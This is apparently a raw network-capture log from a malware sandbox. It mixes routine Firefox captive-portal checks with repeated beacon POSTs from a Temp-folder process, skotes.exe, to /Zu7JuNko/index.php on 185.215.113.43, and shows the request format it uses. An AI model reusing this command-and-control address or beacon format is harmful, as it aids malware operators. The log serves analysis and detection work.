Nov 20, 2024 08:11:14.042457104 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	50227	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:14.314867973 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	50228	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:14.496246099 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	50229	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:14.607259989 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	50230	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:14.751267910 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:15.193497896 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82090 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:15.346220016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:15.440418959 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82090 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:16.021179914 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:16.115156889 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82091 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:16.906533003 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:17.000322104 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82091 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:17.391455889 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:17.485570908 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82092 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:20.306438923 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:20.400726080 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 82095 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:30.441135883 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50235	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:16.304830074 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:16.993907928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50244	185.215.113.43	80	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:18.619366884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:19.316561937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50255	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:20.875206947 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:21.577163935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50264	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:23.204175949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:23.912482977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50272	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:25.478111982 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:26.232669115 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50278	185.215.113.43	80	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:28.001591921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:28.694415092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50280	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:30.358674049 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:31.022667885 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50281	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:33.001125097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:33.717118979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50282	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:36.077799082 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:36.694574118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	50289	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:38.204369068 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:38.657145023 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74355 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:39.309773922 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:39.405760050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74356 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:39.560545921 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:39.676141977 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74356 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:39.917493105 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:40.013931990 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74356 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:40.040553093 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:40.137109041 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74357 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:40.419332981 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:40.515666962 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74357 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:40.954864025 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:41.050570965 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74358 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:44.563584089 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:44.659485102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74361 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:45.611797094 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:45.708143950 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74362 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:55.839890003 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:11:57.426445007 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
